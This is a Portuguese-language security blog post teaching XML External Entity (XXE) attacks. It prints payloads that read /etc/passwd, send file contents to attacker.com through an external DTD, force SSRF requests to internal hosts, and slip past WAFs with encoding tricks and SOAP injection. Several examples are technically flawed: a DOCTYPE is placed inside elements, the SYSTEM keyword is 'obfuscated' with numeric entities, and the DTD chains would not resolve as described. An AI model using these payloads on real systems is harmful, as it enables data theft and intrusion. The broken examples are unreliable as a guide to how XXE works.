Skip to main content
Bruno Menozzi aka Zeroc00i
Back to homepage

Introdução

Introdução ao XXE: Onde a Interpretação XML se Torna uma Vulnerabilidade

A vulnerabilidade XML External Entity (XXE) surge da forma como os parsers XML processam documentos que contêm referências a entidades externas. Essencialmente, um parser XML mal configurado pode ser coagido a processar conteúdo externo, abrindo portas para uma gama de operações arbitrárias, desde a leitura de arquivos locais até a execução de requisições de rede.

É crucial entender que a funcionalidade de importação de XML não se restringe apenas a sistemas que explicitamente manipulam arquivos XML para preenchimento de dados, como em sistemas de planilhas ou gestão. Sua presença é ubíqua, manifestando-se em cenários aparentemente benignos como autenticações baseadas em SAML, onde o SAMLResponse é um vetor potencial. Futuramente, teremos um post aprofundado, o grupo VIP ja possui um vídeo exclusivodemonstrando ataques XXE no contexto SAML.

Categorias de Payloads XXE e Seus Mecanismos

A diversidade dos ataques XXE pode ser categorizada pela forma como as entidades externas são definidas e exploradas:

1. Payloads Básicos (In-band XXE)

Os payloads básicos, ou “in-band”, são os mais diretos. Eles exploram a capacidade do parser de referenciar arquivos locais ou URLs diretamente, exibindo o conteúdo dentro da resposta da aplicação.

  • Conceito Avançado: A exploração ocorre quando a aplicação retorna de forma síncrona o conteúdo da entidade externa no corpo da resposta HTTP, indicando uma falha na sanitização da saída ou na restrição de resolução de entidades.

  • Exemplo:

    <?xml version="1.0"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <foo>&xxe;</foo>
    

    Consideração Crítica: É importante notar que, embora o arquivo seja lido, seu conteúdo precisa ser sintaticamente válido para ser inserido no contexto XML sem quebrar o parseamento. Se o conteúdo lido (como um arquivo binário ou /etc/passwd com caracteres especiais) não puder ser embutido como parte de um nó XML, o parser pode falhar e retornar um erro, ou simplesmente ignorar a entidade sem exibir nada. Este é um dos motivos pelos quais muitas vezes técnicas mais avançadas, como a exfiltração OOB ou a indução de erros com DTDs internos, são empregadas para contornar essa limitação sintática.

2. Payloads com Out-of-Band (OOB) / Interação Externa

Quando a aplicação não retorna o conteúdo de entidades externas diretamente, mas permite que o parser faça requisições a um servidor controlado pelo atacante, estamos diante de um XXE out-of-band. Isso é crucial para exfiltração de dados em cenários “blind”.

  • Conceito Avançado: Utiliza canais secundários (geralmente HTTP ou FTP) para comunicar informações extraídas, contornando a ausência de um canal de retorno direto na resposta da aplicação. Requer um servidor externo para receber as informações.
  • Exemplo:
    <?xml version="1.0"?>
    <!DOCTYPE foo [ <!ENTITY % payload SYSTEM "http://attacker.com/evil.dtd"> %payload; ]>
    <foo>&exfil;</foo>
    
    (O evil.dtd conteria a lógica de exfiltração, como <!ENTITY exfil SYSTEM "http://attacker.com/?data=%file_content;">)

3. Exfiltração Externa (Out-of-Band Data Exfiltration)

Esta é uma subcategoria do OOB, focada especificamente na extração de dados sensíveis para um endpoint controlado pelo atacante.

  • Conceito Avançado: Emprega técnicas como a parametrização de URLs para codificar dados sensíveis (file:///etc/passwd) e enviá-los em requisições HTTP/FTP para um servidor externo, muitas vezes com a ajuda de DTDs externos para construir a string de exfiltração.
  • Exemplo (com DTD externo): evil.dtd:
    <!ENTITY % send SYSTEM "http://attacker.com/?data=%file_contents;">
    <!ENTITY % file_contents SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    %send;
    
    Payload XML:
    <?xml version="1.0"?>
    <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>
    <foo/>
    

4. Payloads que Usam DTD Externo para Bypass de Firewalls

A capacidade de importar DTDs externos pode ser usada para encapsular a lógica de ataque, muitas vezes permitindo que a requisição inicial para o DTD externo passe por filtros que inspecionariam apenas o payload XML principal.

  • Conceito Avançado: A segmentação do ataque em um DTD externo pode fragmentar o “signature” do payload, permitindo que a requisição de download do DTD passe por WAFs ou IPS/IDS que não analisam o conteúdo do DTD em tempo real. Além disso, pode ser usado para encadear múltiplas operações complexas.
  • Exemplo: O payload XML original referencia um DTD remoto, que por sua vez contém a lógica maliciosa. A requisição inicial pode ser menos “suspeita”.

5. Payloads que Usam DTD Interno (Parâmetro Entities)

Em cenários onde a importação de DTDs externos é restrita, é possível usar DTDs internos combinados com entidades de parâmetro para construir payloads complexos, incluindo a exfiltração de dados.

  • Conceito Avançado: Utiliza a capacidade do DTD de definir entidades de parâmetro (%entity_name;) que podem ser referenciadas em outros locais do DTD. Isso permite a construção de cadeias de ataque multi-estágio inteiramente dentro do XML enviado, crucial em ambientes com restrições de rede outbound. Frequentemente, essa técnica é empregada para forçar erros de parseamento, onde a mensagem de erro resultante revela o conteúdo de um arquivo que não pôde ser inserido diretamente na estrutura XML, como no exemplo a seguir:
    <?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent'>">
      %eval;
      %file;
    ]>
    <foo/>
    
    Neste exemplo, a entidade %file tenta carregar /etc/passwd. Se o conteúdo do /etc/passwd quebrar a sintaxe XML, o parser pode gerar um erro que inclui partes do arquivo, revelando-o ao atacante.

XXE e o SSRF: Um Vetor Adicional de Ataque

A versatilidade do XXE se estende a outras vulnerabilidades. Por exemplo, um XXE pode ser utilizado como um vetor para Server-Side Request Forgery (SSRF). A capacidade de um parser XML resolver entidades SYSTEM para URLs arbitrárias significa que o servidor vulnerável pode ser forçado a fazer requisições HTTP para recursos internos ou externos.

  • Conceito Avançado: O parser XML atua como um proxy para o atacante, permitindo a exploração de serviços internos da rede que não são acessíveis diretamente da internet ou a interação com serviços externos.

  • Exemplo:

    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.0.1.55"> ]>
    <foo>&xxe;</foo>
    

    Neste caso, a aplicação, ao processar o XML, fará uma requisição HTTP para http://10.0.1.55. Se 10.0.1.55 for um host interno na rede da aplicação, isso pode levar à descoberta de portas, serviços internos ou até mesmo a interação com APIs internas.

Bypassando Mitigações: Charsets e Firewalls

Muitas vezes, sistemas de segurança como Web Application Firewalls (WAFs) ou IPS/IDS são configurados para bloquear payloads XXE detectando palavras-chave específicas, como SYSTEM e PUBLIC, ou o próprio <!DOCTYPE. No entanto, essas mitigações podem ser contornadas.

  • Bypass via Charsets: A especificação XML permite diferentes codificações de caracteres. Se um WAF inspeciona apenas payloads ASCII ou UTF-8 padrão, a utilização de um charset menos comum, como UTF-16, UTF-7, ou até mesmo a codificação de caracteres individuais em entidades numéricas (e.g., &#x53;&#x59;&#x53;&#x54;&#x45;&#x4D; para SYSTEM), pode permitir que o payload malicioso passe despercebido.
    • Exemplo de Payload com Charset Diferente:
      <?xml version="1.0" encoding="UTF-16"?>
      <root>
        <data>
          <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
          <foo>&xxe;</foo>
        </data>
      </root>
      
    • Exemplo de Obfuscação com Entidades Numéricas:
      <!DOCTYPE foo [ <!ENTITY xxe &#x53;&#x59;&#x53;&#x54;&#x45;&#x4D; "file:///etc/passwd"> ]>
      <foo>&xxe;</foo>
      

XXE em Requisições SOAP

Serviços web baseados em SOAP são particularmente suscetíveis a XXE, pois as requisições SOAP são, por natureza, documentos XML. Um cenário comum envolve uma aplicação backend que espera um corpo de requisição com envelope SOAP. A injeção de XXE ocorre dentro do SOAP-ENV:Body.

  • Conceito Avançado: A exploração requer que o atacante construa um envelope SOAP válido que, além das operações legítimas, inclua a declaração DOCTYPE com as entidades externas maliciosas.

  • Exemplo de Requisição SOAP com XXE:

    POST /soap/endpoint HTTP/1.1
    Host: example.com
    Content-Type: text/xml; charset=utf-8
    Content-Length: [length_of_body]
    SOAPAction: "http://example.com/Service/GetUserInfo"
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                      xmlns:web="http://example.com/WebService">
       <soapenv:Header/>
       <soapenv:Body>
          <web:GetUserInfo>
             <web:userId>&xxe;</web:userId>
          </web:GetUserInfo>
       </soapenv:Body>
    </soapenv:Envelope>
    

    Neste cenário, a aplicação SOAP processará o XML, e a entidade &xxe; será resolvida para o conteúdo de /etc/passwd, que então será inserido no campo userId da requisição. Dependendo da lógica da aplicação e do retorno, o conteúdo do arquivo pode ser revelado na resposta SOAP.

A compreensão profunda desses mecanismos e de suas variações é fundamental para qualquer profissional de segurança que lida com aplicações que processam XML. A superfície de ataque é vasta e as implicações podem ser severas. Fique espero =)